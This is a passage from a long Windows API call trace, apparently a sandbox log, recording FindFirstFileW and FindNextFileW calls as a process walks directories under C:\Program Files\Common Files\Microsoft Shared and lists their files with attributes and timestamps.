ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.418] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.418] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0047.419] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.420] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.420] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0047.420] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.420] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0047.420] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0047.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.421] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.421] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0047.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0047.423] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.423] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0047.423] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0047.423] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0047.423] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0047.423] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.423] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0047.423] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0047.424] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.425] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.425] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0047.425] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.425] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0047.425] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0047.425] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.426] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.426] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0047.426] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.426] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0047.426] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0047.426] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0047.429] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.429] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0047.429] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0047.430] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0047.430] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0047.430] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0047.431] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.431] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0047.431] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0047.431] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0047.431] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0047.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0047.431] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.432] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0047.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0047.433] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.433] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.433] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0047.433] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0047.433] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0047.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0047.434] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.434] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.434] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0047.434] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0047.435] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0047.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0047.435] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, 